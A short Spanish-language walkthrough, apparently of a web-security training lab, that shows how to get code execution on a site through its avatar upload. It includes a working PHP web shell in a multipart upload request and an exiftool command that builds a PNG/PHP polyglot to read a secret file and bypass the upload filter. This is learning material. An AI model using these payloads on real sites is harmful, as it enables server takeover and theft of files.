Remote code execution via polyglot web shell upload
![[20251014224059.png]](/assets/20251014224059.CKwqo7MC.png)
En el apartado de subir un avatar del sitio intentaremos subir un archivo malicioso.
![[20251014224234.png]](/assets/20251014224234.C5VhShNH.png)
c
------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264
Content-Disposition: form-data; name="user"al intentar subir el archivo este nos dice que no puede subir el archivo debido a que esta permitido.
![[20251014224248.png]](/assets/20251014224248.DoUYBSDx.png)
![[20251014225113.png]](/assets/20251014225113.D6tuG-EY.png)
c
❯ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" web-shell.png -o polyglot.php
1 image files createdEste comando usa ExifTool para crear un archivo políglota que es tanto una imagen PNG válida como un script PHP. Te lo explico paso a paso:
exiftool -Comment="..."- Modifica el metadato "Comentario" de la imagen- El código PHP dentro del comentario:
<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?> web-shell.png- El archivo de entrada (imagen PNG original)-o polyglot.php- Guarda el resultado comopolyglot.php
Lo que se crea:
Un archivo políglota que:
- Como PNG: Sigue siendo una imagen válida (los visores ignoran el código PHP en los metadatos)
- Como PHP: Cuando un servidor PHP lo interpreta, ejecuta el código para leer el archivo secreto de Carlos
Ahora intentamos subir:
![[20251014225149.png]](/assets/20251014225149.CNqUhQIr.png)
el archivo se sube sin restricciones.
![[20251014225129.png]](/assets/20251014225129.DUv3iRWd.png)
Luego podemos llamarlo y obtener la flag.
![[20251014225225.png]](/assets/20251014225225.DQmBCyaw.png)